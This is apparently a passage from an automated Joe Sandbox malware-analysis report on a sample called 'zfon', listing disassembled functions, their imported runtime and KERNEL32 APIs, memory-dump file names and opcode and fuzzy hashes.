Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: std::locale::_$Setgloballocalesetlocale$InitLocimpLocimp::_New__lock_locales
String ID:
API String ID: 2905786255-0
Opcode ID: 7533d42a88b30cf4c54e14bc2d80b216ec68bb4ad39f55c3e1146a9e5df12688
Instruction ID: 93f177f291331b4004769eb2a7216134128142725140f58ecc356d35f17baa9e
Opcode Fuzzy Hash: 7533d42a88b30cf4c54e14bc2d80b216ec68bb4ad39f55c3e1146a9e5df12688
Instruction Fuzzy Hash: 42318D26A08A8192EE549F1ED5942B96361FB84BE0F848531CF1E4B7A1DF3CE5569340

Function 00007FF7F96E2520 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 09fd9b7f2d28d969b82d29a789759c274fd24cd7d2748fe4802a739e8160af33
Instruction ID: e659785401709e78e9cea6759029e1ffacad696a7d9925d0beb0aa5a422bc2d4
Opcode Fuzzy Hash: 09fd9b7f2d28d969b82d29a789759c274fd24cd7d2748fe4802a739e8160af33
Instruction Fuzzy Hash: CF21B17190874651FB14BF28EC68369B772EB497B4FA40234D67E02AECCF2DD4918664

Function 00007FF8B90E6FC0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E6FF4
___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E6FFE

Part of subcall function 00007FF8B90E9320: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E9363
Part of subcall function 00007FF8B90E9320: __strncnt.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E9388
Part of subcall function 00007FF8B90E9320: GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF8B90E705B), ref: 00007FF8B90E93C8

memcmp.VCRUNTIME140 ref: 00007FF8B90E7021
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E705F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: __strncnt$Info___lc_collate_cp_func___lc_locale_name_func_errnomemcmp
String ID:
API String ID: 3421985146-0
Opcode ID: 02edfa4313c4fb3aabff1bebf8c1357e348f0fccc221029525811e02a34b2029
Instruction ID: 3e062b0f938097e7611f279c711073427e46ac4def2887e3b90af0ce5f0fc022
Opcode Fuzzy Hash: 02edfa4313c4fb3aabff1bebf8c1357e348f0fccc221029525811e02a34b2029
Instruction Fuzzy Hash: 99216231A08B82C6EF149F2EA440169B7A4FB84FE0B544135DB5D577A5DF3CE8429700

Function 00007FF7F96E65A0 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E6623
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E6633
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E6643
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E6650

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: b95c016416db0c7f8fb3c8f7d6a9f229c93ff0f0e18789e355680685c849e604
Instruction ID: cb664ae734f6ea9a322e3dd18e24e12e83b44a29869dae3f43d4aa385410c67f
Opcode Fuzzy Hash: b95c016416db0c7f8fb3c8f7d6a9f229c93ff0f0e18789e355680685c849e604
Instruction Fuzzy Hash: AE110421E1864651EB14BF28FC58339A371EB497F0F901730D67E02AEDCE2DD0904665

Function 00007FF7F970E450 Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F970E46A
new.LIBCMT ref: 00007FF7F970E498
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E4BC
cef_string_map_alloc.LIBCEF ref: 00007FF7F970E4F0

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 7d4bbb70432d916687639b929200fd9207a111d92069894b91313117c6e492f1
Instruction ID: 3bfe151be3ed241964f34d96bd4e3d482aeebb32c2384909a214f1bfd52628bf
Opcode Fuzzy Hash: 7d4bbb70432d916687639b929200fd9207a111d92069894b91313117c6e492f1
Instruction Fuzzy Hash: 3E215022A0CB4185DB95AF11BC40169B7B0FB8CBD4F484534FA9E437AADF3CD54587A0

Function 00007FF7F96E3490 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E34D0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E34E0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E34F0
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E34FD

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 92a2097852ec47728736fe8942dbd70fe199a2d08fb94bba399e5a4b162ee94b
Instruction ID: 3fe7a3176a5ded70c7c710ac386a1010da269f14b5e2eabd091176217a2d530c
Opcode Fuzzy Hash: 92a2097852ec47728736fe8942dbd70fe199a2d08fb94bba399e5a4b162ee94b
Instruction Fuzzy Hash: FC11462160874681EF18BF69EC0C739A272EB05BA5FD41530C67D037D9CF6ED58186B9

Function 00007FF7F9710930 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF(?,?,?,00007FF7F9710850), ref: 00007FF7F9710956
cef_string_map_alloc.LIBCEF(?,?,?,00007FF7F9710850), ref: 00007FF7F971096B
cef_string_map_alloc.LIBCEF(?,?,?,00007FF7F9710850), ref: 00007FF7F9710980
cef_string_map_alloc.LIBCEF(?,?,?,00007FF7F9710850), ref: 00007FF7F9710995

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: 7197ee378ef0cece509e4b77bb64e0ce9f980a1e7a92a43fd744432bfccf45b7
Instruction ID: 1ab09760f38317db0c63861273379e1616e34a1cef2e68ce99dc241f308c5ea1
Opcode Fuzzy Hash: 7197ee378ef0cece509e4b77bb64e0ce9f980a1e7a92a43fd744432bfccf45b7
Instruction Fuzzy Hash: 64210666A04B8093E758CF3AE6406A9B370F799B94F00A125DF9E53A16DF38F1E4C700

Function 00007FF7F970B4D0 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140(?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F970B4F7

Part of subcall function 00007FF7F97098A0: memmove.VCRUNTIME140 ref: 00007FF7F9709939

cef_string_map_alloc.LIBCEF ref: 00007FF7F970B52C
SetLastError.KERNEL32 ref: 00007FF7F970B555
?_Ios_base_dtor@ios_base@std@@CAXPEAV12@@Z.MSVCP140 ref: 00007FF7F970B58A

Part of subcall function 00007FF7F9709270: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F970927A
Part of subcall function 00007FF7F9709270: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F970928F
Part of subcall function 00007FF7F9709270: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F970929F
Part of subcall function 00007FF7F9709270: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F97092AF
Part of subcall function 00007FF7F9709270: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F9702D11), ref: 00007FF7F97092BC

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$V01@$??6?$basic_ostream@D@std@@@std@@ErrorIos_base_dtor@ios_base@std@@LastU?$char_traits@V01@@V12@@cef_string_map_allocmemmove
String ID:
API String ID: 1591153422-0
Opcode ID: e478e4a49091e4febd9e88758899345e0d7ad71bdfea3095cc3ece45b93430a1
Instruction ID: 51b1fc0b5586799e9bbb17eee5164a2cfabcd3eb8b6ebdcea035cd4f43669e06
Opcode Fuzzy Hash: e478e4a49091e4febd9e88758899345e0d7ad71bdfea3095cc3ece45b93430a1
Instruction Fuzzy Hash: 7411FF31618B8685EB54EF25E8552A9B330FB88B88F800132DA6D076A9DF3CD544C7A0

Function 00007FF8B90E74A0 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74B8
___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C0
___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74C9
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E74E5

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ___lc_codepage_func___lc_locale_name_func___mb_cur_max_func__pctype_func
String ID:
API String ID: 3203701943-0
Opcode ID: 39f0dbf7affc20ace0cd8a52b7416ca02a5e873dcbaf1932feb67f8f83f8ece6
Instruction ID: 49cf648c102cbd511ea384bbab6fbb1c3f2c951d1a8beccf706c4e955a6c810f
Opcode Fuzzy Hash: 39f0dbf7affc20ace0cd8a52b7416ca02a5e873dcbaf1932feb67f8f83f8ece6
Instruction Fuzzy Hash: B9019EE2F08AD582EF156F2ED404468AAB1FF58BD0B08D435DA1D8B619DE7CD0858710

Function 00007FF8BFAD456C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8BFAD4598
GetCurrentThreadId.KERNEL32 ref: 00007FF8BFAD45A6
GetCurrentProcessId.KERNEL32 ref: 00007FF8BFAD45B2
QueryPerformanceCounter.KERNEL32 ref: 00007FF8BFAD45C2

Memory Dump Source

Source File: 00000005.00000002.2549530455.00007FF8BFAD1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8BFAD0000, based on PE: true

Associated: 00000005.00000002.2549435771.00007FF8BFAD0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549570951.00007FF8BFAD5000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549677238.00007FF8BFAD8000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.2549715751.00007FF8BFAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfad0000_zfon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 97e3b286ae614011fb11402c562bf5637a4e2633fea006b985175adf9c6b4b30
Instruction ID: f6dbb5832f1011814f00b86da7c129979d71be3ae6780425f32000f46482c0ea
Opcode Fuzzy Hash: 97e3b286ae614011fb11402c562bf5637a4e2633fea006b985175adf9c6b4b30
Instruction Fuzzy Hash: 1D112126B14F018AEB10CFA8E8552B833A4FB19798F442D31DB5D467D4DF7CD1548340

Function 00007FF7F96E2850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2876
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2886
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E2896
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E28A3

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d01dba25007abe557549af685efbd49781723a6d9761e89bdcf780ad220a84d7
Instruction ID: ea81030f5a1b33a754f6291362768095dfb3d63eea7bd24abb51d1e8276d2fe2
Opcode Fuzzy Hash: d01dba25007abe557549af685efbd49781723a6d9761e89bdcf780ad220a84d7
Instruction Fuzzy Hash: 5C017161E0460A90EB0CFF64E85C3396372DB04B99F900834C66E026DDCF6D94D982F6

Function 00007FF8BFB60A2C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8BFB60A58
GetCurrentThreadId.KERNEL32 ref: 00007FF8BFB60A66
GetCurrentProcessId.KERNEL32 ref: 00007FF8BFB60A72
QueryPerformanceCounter.KERNEL32 ref: 00007FF8BFB60A82

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d0d271f438ed08dbae623c384d3e10f076376a6d5000b6ec581f085f3f477592
Instruction ID: 753495510d96ac2ff7ea0595b7f1d5a874efde4146ef52fbeb962679a3e9d035
Opcode Fuzzy Hash: d0d271f438ed08dbae623c384d3e10f076376a6d5000b6ec581f085f3f477592
Instruction Fuzzy Hash: B8111C22B18B019AEB408BA4E8543A873A4FB19798F440E31DB6D467A4DF7CD1688340

Function 00007FF8B912D954 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8B912D980
GetCurrentThreadId.KERNEL32 ref: 00007FF8B912D98E
GetCurrentProcessId.KERNEL32 ref: 00007FF8B912D99A
QueryPerformanceCounter.KERNEL32 ref: 00007FF8B912D9AA

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 76dfa9f6affd35542d897482e00a8f8d8a31374749d9766d0099c6e1fca2c63d
Instruction ID: 3626931d7f6e565459858ff1df8e0fa2c3084ac798613d164ccf603d6da1ef45
Opcode Fuzzy Hash: 76dfa9f6affd35542d897482e00a8f8d8a31374749d9766d0099c6e1fca2c63d
Instruction Fuzzy Hash: 2C113C22A48F819AEB10DF65E8552A833A4FB1D798F041A31EB5D47794DF3CD1A8C340

Function 00007FF7F96E69E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F96E6A0D
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E6A16
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E6A1F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E6A28

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID:
API String ID: 3041573648-0
Opcode ID: d33a2170fbd08e1295aa745bb59190dabb63d073c9f8e86e5b0d8221db3b0f23
Instruction ID: 0369f5a37d547324310c4fe1226cbfeee328ad537b4005ad5925154f25ebfc57
Opcode Fuzzy Hash: d33a2170fbd08e1295aa745bb59190dabb63d073c9f8e86e5b0d8221db3b0f23
